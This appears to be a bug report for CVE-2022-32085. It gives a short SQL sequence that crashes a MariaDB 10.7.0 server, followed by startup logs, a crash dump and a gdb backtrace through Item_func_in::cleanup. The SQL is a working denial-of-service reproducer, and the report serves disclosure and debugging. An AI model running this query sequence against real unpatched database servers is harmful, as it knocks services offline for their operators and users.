CVE-2022-32085: [MDEV-26407] Server crashes in Item_func_in::cleanup/Item::cleanup_processor

CREATE TABLE v0 ( v1 VARCHAR ( 65 ) CHAR SET ASCII NULL DEFAULT ( ‘x’ IN ( ‘x’ , CURRENT_USER ) ) ) ;

START TRANSACTION READ WRITE ;

INSERT INTO v0 VALUES ( v1 ) ;

SELECT HEX ( GREATEST ( v1 , ( ‘x’ ) ) ) FROM v0 ;

INSERT INTO v0 VALUES ( REPEAT ( ( NULL + 84551986.000000 ) = 74599462.000000 , ( HEX ( 18069096.000000 ) ) / -1 = 28 ) ) ;

DESCRIBE SELECT v0 . v1 FROM v0 , v0 WHERE v0 . v1 = v0 . v1 ;

2021-08-16 14:41:38 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 14:41:38 0 [Note] InnoDB: Number of pools: 1

2021-08-16 14:41:38 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 14:41:38 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 14:41:38 0 [Note] InnoDB: Using liburing

2021-08-16 14:41:38 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 14:41:38 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 14:41:38 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 14:41:38 0 [Note] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 14:41:38 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 14:41:38 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 14:41:38 0 [Note] InnoDB: 10.7.0 started; log sequence number 42161; transaction id 14

2021-08-16 14:41:38 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:38 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 14:41:38 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 14:41:38

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '::’.

2021-08-16 14:41:38 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/0.socket’ port: 3306 Source distribution

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld (initiated by: root[root] @ localhost []): Normal shutdown

2021-08-16 14:41:39 0 [Note] InnoDB: FTS optimize thread exiting.

2021-08-16 14:41:39 0 [Note] InnoDB: Starting shutdown…

2021-08-16 14:41:39 0 [Note] InnoDB: Dumping buffer pool(s) to /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:39 0 [Note] InnoDB: Buffer pool(s) dump completed at 210816 14:41:39

2021-08-16 14:41:39 0 [Note] InnoDB: Removed temporary tablespace data file: “./ibtmp1”

2021-08-16 14:41:39 0 [Note] InnoDB: Shutdown completed; log sequence number 42173; transaction id 15

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld: Shutdown complete

2021-08-16 15:00:28 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 15:00:28 0 [Note] InnoDB: Number of pools: 1

2021-08-16 15:00:28 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 15:00:28 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 15:00:28 0 [Note] InnoDB: Using liburing

2021-08-16 15:00:28 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 15:00:28 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 15:00:39 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 15:00:39 0 [Note] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 15:00:39 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 15:00:39 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 15:00:39 0 [Note] InnoDB: 10.7.0 started; log sequence number 42173; transaction id 14

2021-08-16 15:00:39 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/9/ib_buffer_pool

2021-08-16 15:00:39 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 15:00:40 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 15:00:40 0 [Note] Server socket created on IP: '::’.

2021-08-16 15:00:40 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 15:00:40

2021-08-16 15:00:41 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/9.socket’ port: 10009 Source distribution

210816 15:00:43 [ERROR] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed,

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key_buffer_size=134217728

read_buffer_size=131072

max_used_connections=1

max_threads=153

thread_count=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory

Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong…

stack_bottom = 0x7f987ba5b850 thread_stack 0x5fc00

sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f989b307c3e]

mysys/stacktrace.c:213(my_print_stacktrace)[0x55bb57c35747]

sql/signal_handler.cc:222(handle_fatal_signal)[0x55bb56bfd120]

sigaction.c:0(__restore_rt)[0x7f989acf1870]

sql/item_cmpfunc.h:2556(Item_func_in::cleanup())[0x55bb561f90ee]

sql/item.cc:574(Item::cleanup_processor(void*))[0x55bb56c4adbc]

sql/item.h:5439(Item_func_or_sum::walk(bool (Item::*)(void*), bool, void*))[0x55bb561fb774]

sql/table.cc:3616(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x55bb567afd3a]

sql/sql_base.cc:5433(TABLE::fix_vcol_exprs(THD*))[0x55bb5632124f]

sql/sql_base.cc:5467(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int))[0x55bb56321f93]

sql/sql_base.cc:5261(open_and_lock_tables(THD*, DDL_options_st const&, TABLE_LIST*, bool, unsigned int, Prelocking_strategy*))[0x55bb56326800]

sql/sql_base.h:397(open_and_lock_tables(THD*, TABLE_LIST*, bool, unsigned int))[0x55bb563dcef4]

sql/sql_parse.cc:4565(mysql_execute_command(THD*, bool))[0x55bb56495bb8]

sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55bb564a25a1]

sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55bb564a860c]

sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55bb564ad73d]

sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55bb56868e57]

sql/sql_connect.cc:1312(handle_one_connection)[0x55bb5686933d]

perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55bb572f9c2c]

pthread_create.c:0(start_thread)[0x7f989ace7259]

:0(__GI___clone)[0x7f989a8925e3]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): INSERT INTO v0 VALUES ( REPEAT ( ( NULL + 84551986.000000 ) = 74599462.000000 , ( HEX ( 18069096.000000 ) ) / -1 = 28 ) )

Connection ID (thread ID): 4

Status: NOT_KILLED

Optimizer switch: index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index_merge_sort_intersection=off,engine_condition_pushdown=off,index_condition_pushdown=on,derived_merge=on,derived_with_keys=on,firstmatch=on,loosescan=on,materialization=on,in_to_exists=on,semijoin=on,partial_match_rowid_merge=on,partial_match_table_scan=on,subquery_cache=on,mrr=off,mrr_cost_based=off,mrr_sort_keys=off,outer_join_with_cache=on,semijoin_with_cache=on,join_cache_incremental=on,join_cache_hashed=on,join_cache_bka=on,optimize_join_buffer_size=on,table_elimination=on,extended_keys=on,exists_to_in=on,orderby_uses_equalities=on,condition_pushdown_for_derived=on,split_materialized=on,condition_pushdown_for_subquery=on,rowid_filter=on,condition_pushdown_from_having=on,not_null_range_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains

information that should help you find out what is causing the crash.

Writing a core file…

Working directory at /home/fuboat/mariadb-tmp/9

Resource Limits:

Limit Soft Limit Hard Limit Units

Max cpu time unlimited unlimited seconds

Max file size unlimited unlimited bytes

Max data size unlimited unlimited bytes

Max stack size 8388608 unlimited bytes

Max core file size unlimited unlimited bytes

Max resident set unlimited unlimited bytes

Max processes 61608 61608 processes

Max open files 524288 524288 files

Max locked memory 65536 65536 bytes

Max address space unlimited unlimited bytes

Max file locks unlimited unlimited locks

Max pending signals 61608 61608 signals

Max msgqueue size 819200 819200 bytes

Max nice priority 0 0

Max realtime priority 0 0

Max realtime timeout unlimited unlimited us

Core pattern: core

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Reading symbols from /usr/local/mysql/bin//mysqld…

[New LWP 321844]

[New LWP 272301]

[New LWP 315980]

[New LWP 272464]

[New LWP 272465]

[New LWP 272438]

[New LWP 313382]

[New LWP 313342]

[New LWP 315981]

[New LWP 315984]

[New LWP 315982]

[New LWP 321828]

[New LWP 331506]

[New LWP 331509]

[New LWP 272143]

[New LWP 315983]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/usr/lib/libthread_db.so.1".

Core was generated by `/usr/local/mysql/bin//mysqld --port 10009 --datadir=/home/fuboat/mariadb-tmp/9’.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0x00007f989acee808 in pthread_kill () from /usr/lib/libpthread.so.0

[Current thread is 1 (Thread 0x7f987ba5c240 (LWP 321844))]

(gdb) (gdb) #0 0x00007f989acee808 in pthread_kill () from /usr/lib/libpthread.so.0

#1 0x000055bb56bfd06b in handle_fatal_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal_handler.cc:344

#2 <signal handler called>

#3 0x000055bb561f90ee in Item_func_in::cleanup (this=0x6190000a3dd8) at /experiment/mariadb-server/sql/item_cmpfunc.h:2556

#4 0x000055bb56c4adbc in Item::cleanup_processor (arg=<optimized out>, this=<optimized out>) at /experiment/mariadb-server/sql/item.cc:572

#5 Item::cleanup_processor (this=<optimized out>, arg=<optimized out>) at /experiment/mariadb-server/sql/item.cc:569

#6 0x000055bb561fb774 in Item_func_or_sum::walk (this=0x6190000a3dd8, processor=<optimized out>, walk_subquery=<optimized out>, arg=0x0) at /experiment/mariadb-server/sql/item.h:5439

#7 0x000055bb567afd3a in fix_session_vcol_expr (vcol=0x6190000a3f58, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/table.cc:3614

#8 fix_session_vcol_expr (thd=0x62b0000bd218, vcol=0x6190000a3f58) at /experiment/mariadb-server/sql/table.cc:3608

#9 0x000055bb5632124f in TABLE::fix_vcol_exprs (thd=0x62b0000bd218, this=0x6190000a3298) at /experiment/mariadb-server/sql/sql_base.cc:5434

#10 TABLE::fix_vcol_exprs (this=0x6190000a3298, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.cc:5426

#11 0x000055bb56321f93 in fix_all_session_vcol_exprs (tables=0x629000087408, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.cc:5465

#12 lock_tables (thd=thd@entry=0x62b0000bd218, tables=0x629000087408, count=<optimized out>, flags=flags@entry=0) at /experiment/mariadb-server/sql/sql_base.cc:5649

#13 0x000055bb56326800 in open_and_lock_tables (thd=thd@entry=0x62b0000bd218, options=…, tables=<optimized out>, tables@entry=0x629000087408, derived=derived@entry=true, flags=flags@entry=0, prelocking_strategy=prelocking_strategy@entry=0x7f987ba592d0) at /experiment/mariadb-server/sql/sql_base.cc:5261

#14 0x000055bb563dcef4 in open_and_lock_tables (flags=0, derived=true, tables=0x629000087408, thd=0x62b0000bd218) at /experiment/mariadb-server/sql/sql_base.h:509

#15 mysql_insert (thd=thd@entry=0x62b0000bd218, table_list=0x629000087408, fields=…, values_list=…, update_fields=…, update_values=…, duplic=<optimized out>, ignore=<optimized out>, result=<optimized out>) at /experiment/mariadb-server/sql/sql_insert.cc:757

#16 0x000055bb56495bb8 in mysql_execute_command (thd=0x62b0000bd218, is_called_from_prepared_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:4565

#17 0x000055bb564a25a1 in mysql_parse (thd=0x62b0000bd218, rawbuf=<optimized out>, length=<optimized out>, parser_state=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:8030

#18 0x000055bb564a860c in dispatch_command (command=<optimized out>, thd=0x62b0000bd218, packet=<optimized out>, packet_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:1896

#19 0x000055bb564ad73d in do_command (thd=0x62b0000bd218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql_parse.cc:1404

#20 0x000055bb56868e57 in do_handle_one_connection (connect=<optimized out>, put_in_cache=<optimized out>) at /experiment/mariadb-server/sql/sql_connect.cc:1418

#21 0x000055bb5686933d in handle_one_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql_connect.cc:1312

#22 0x000055bb572f9c2c in pfs_spawn_thread (arg=0x617000005f18) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

#23 0x00007f989ace7259 in start_thread () from /usr/lib/libpthread.so.0

#24 0x00007f989a8925e3 in clone () from /usr/lib/libc.so.6

(gdb) quit